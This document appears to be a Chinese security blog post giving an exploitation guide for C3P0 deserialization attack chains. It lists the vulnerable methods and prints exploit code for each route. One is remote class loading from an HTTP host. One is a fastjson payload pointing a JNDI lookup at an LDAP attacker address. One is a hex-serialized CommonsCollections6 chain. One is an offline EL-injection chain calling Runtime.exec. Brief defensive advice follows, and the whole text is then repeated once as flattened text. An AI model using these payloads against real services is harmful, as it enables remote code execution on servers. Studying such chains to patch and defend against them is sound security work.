浅析C3P0攻击链
字数 1208 2025-08-24 20:49:31

C3P0攻击链深入分析与利用指南

1. C3P0简介与背景

C3P0是一个开源的JDBC连接池实现,具有以下特点:

  • 实现了数据源和JNDI绑定
  • 支持JDBC3规范和JDBC2的标准扩展
  • 被Hibernate、Spring等流行框架使用

JDBC (Java DataBase Connectivity) 是Java程序访问数据库的标准接口。连接池技术类似于线程池,通过复用连接句柄来减少频繁创建和销毁连接带来的资源消耗。

2. 环境搭建

使用Maven添加C3P0依赖:

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

3. C3P0攻击链利用方式

3.1 URLClassLoader远程类加载

漏洞点分析

漏洞位于PoolBackedDataSourceBase类的readObject方法中:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    short version = ois.readShort();
    switch (version) {
        case VERSION: {
            Object o = ois.readObject();
            if (o instanceof IndirectlySerialized)
                o = ((IndirectlySerialized)o).getObject();
            this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
        }
        // ...其他代码...
    }
}

关键点:

  1. 读取对象后检查是否为IndirectlySerialized实例
  2. 如果是则调用getObject()方法
  3. 最终将对象强制转换为ConnectionPoolDataSource

利用链分析

  1. 序列化时实际进行类转换:ConnectionPoolDataSource -> ReferenceSerialized
  2. 反序列化时调用IndirectlySerialized.getObject()
  3. 最终通过ReferenceableUtils.referenceToObject加载远程类

关键方法调用链

PoolBackedDataSourceBase#readObject 
→ ReferenceIndirector#getObject 
→ ReferenceableUtils#referenceToObject 
→ ObjectFactory#getObjectInstance

EXP示例

public class C3P01 {
    public static class C3P0 implements ConnectionPoolDataSource, Referenceable {
        @Override
        public Reference getReference() throws NamingException {
            return new Reference("Calc", "Calc", "http://127.0.0.1:8002/");
        }
        // ...其他必要方法实现...
    }

    public static void main(String[] args) throws Exception {
        C3P0 exp = new C3P0();
        byte[] bytes = serialize(exp);
        unserialize(bytes);
    }
    
    // 序列化和反序列化方法实现...
}

3.2 JNDI注入

漏洞点分析

JndiRefForwardingDataSourcedereference()方法中有lookup调用,且jndiName可控。

利用链分析

JndiRefConnectionPoolDataSource#setLoginTime 
→ WrapperConnectionPoolDataSource#setLoginTime 
→ JndiRefForwardingDataSource#setLoginTimeout 
→ JndiRefForwardingDataSource#inner 
→ JndiRefForwardingDataSource#dereference() 
→ Context#lookup

EXP示例

import com.alibaba.fastjson.JSON;

public class JNDI {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
               "\"jndiName\":\"ldap://10.6.42.156:8085/NpgoGBfd\",\"LoginTimeout\":\"1\"}";
        JSON.parse(payload);
    }
}

3.3 HEX序列化攻击

漏洞点分析

WrapperConnectionPoolDataSource构造方法中调用C3P0ImplUtils.parseUserOverridesAsString

public static Map parseUserOverridesAsString(String userOverridesAsString) 
    throws IOException, ClassNotFoundException {
    if (userOverridesAsString != null) {
        String hexAscii = userOverridesAsString.substring(
            HASM_HEADER.length() + 1, 
            userOverridesAsString.length() - 1);
        byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
        return Collections.unmodifiableMap(
            (Map)SerializableUtils.fromByteArray(serBytes));
    }
    // ...
}

利用链分析

WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource 
→ C3P0ImplUtils#parseUserOverridesAsString 
→ SerializableUtils#fromByteArray 
→ SerializableUtils#deserializeFromByteArray

EXP示例(使用CC6链)

import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
// ...其他导入...

public class C3P0Hex_CC6 {
    public static Map exp() throws Exception {
        // CC6链构造...
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
            new InvokerTransformer("getMethod", /*...*/),
            // ...其他转换器...
        };
        // ...完整CC6链构造...
        return hashMap2;
    }

    // 辅助方法:对象转十六进制字符串
    public static String toHexAscii(byte[] bytes) {
        // ...实现...
    }

    public static void main(String[] args) throws Exception {
        String hex = toHexAscii(tobyteArray(exp()));
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
               "\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + ";\"," + "}";
        JSON.parse(payload);
    }
}

4. 不出网利用方式

当目标机器不出网且没有fastjson相关依赖时,可以通过本地类加载进行EL表达式注入。

利用点

org.apache.naming.factory.BeanFactorygetObjectInstance方法

EXP示例

public class C3P0_Local {
    public static class C3P0 implements ConnectionPoolDataSource, Referenceable {
        @Override
        public Reference getReference() throws NamingException {
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", 
                null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
            resourceRef.add(new StringRefAddr("faster", 
                "Runtime.getRuntime().exec(\"calc\")"));
            return resourceRef;
        }
        // ...其他必要方法实现...
    }

    // ...序列化和反序列化方法...
}

5. 防御建议

  1. 升级C3P0到最新安全版本
  2. 限制反序列化操作,使用白名单机制
  3. 网络层面限制出站连接
  4. 使用安全管理器限制危险操作
  5. 对JNDI查找进行严格控制和过滤

6. 总结

C3P0攻击链主要包含三种利用方式:

  1. URLClassLoader远程类加载 - 通过反序列化触发远程类加载
  2. JNDI注入 - 通过可控的jndiName参数实现JNDI注入
  3. HEX序列化 - 通过十六进制编码的序列化对象实现反序列化攻击

在不出网环境下,可以通过本地EL表达式注入实现攻击。防御关键在于严格控制反序列化操作和网络访问权限。

C3P0攻击链深入分析与利用指南 1. C3P0简介与背景 C3P0是一个开源的JDBC连接池实现,具有以下特点: 实现了数据源和JNDI绑定 支持JDBC3规范和JDBC2的标准扩展 被Hibernate、Spring等流行框架使用 JDBC (Java DataBase Connectivity) 是Java程序访问数据库的标准接口。连接池技术类似于线程池,通过复用连接句柄来减少频繁创建和销毁连接带来的资源消耗。 2. 环境搭建 使用Maven添加C3P0依赖: 3. C3P0攻击链利用方式 3.1 URLClassLoader远程类加载 漏洞点分析 漏洞位于 PoolBackedDataSourceBase 类的 readObject 方法中: 关键点: 读取对象后检查是否为 IndirectlySerialized 实例 如果是则调用 getObject() 方法 最终将对象强制转换为 ConnectionPoolDataSource 利用链分析 序列化时实际进行类转换: ConnectionPoolDataSource -> ReferenceSerialized 反序列化时调用 IndirectlySerialized.getObject() 最终通过 ReferenceableUtils.referenceToObject 加载远程类 关键方法调用链 EXP示例 3.2 JNDI注入 漏洞点分析 JndiRefForwardingDataSource 的 dereference() 方法中有 lookup 调用,且 jndiName 可控。 利用链分析 EXP示例 3.3 HEX序列化攻击 漏洞点分析 WrapperConnectionPoolDataSource 构造方法中调用 C3P0ImplUtils.parseUserOverridesAsString : 利用链分析 EXP示例(使用CC6链) 4. 不出网利用方式 当目标机器不出网且没有fastjson相关依赖时,可以通过本地类加载进行EL表达式注入。 利用点 org.apache.naming.factory.BeanFactory 的 getObjectInstance 方法 EXP示例 5. 防御建议 升级C3P0到最新安全版本 限制反序列化操作,使用白名单机制 网络层面限制出站连接 使用安全管理器限制危险操作 对JNDI查找进行严格控制和过滤 6. 总结 C3P0攻击链主要包含三种利用方式: URLClassLoader远程类加载 - 通过反序列化触发远程类加载 JNDI注入 - 通过可控的jndiName参数实现JNDI注入 HEX序列化 - 通过十六进制编码的序列化对象实现反序列化攻击 在不出网环境下,可以通过本地EL表达式注入实现攻击。防御关键在于严格控制反序列化操作和网络访问权限。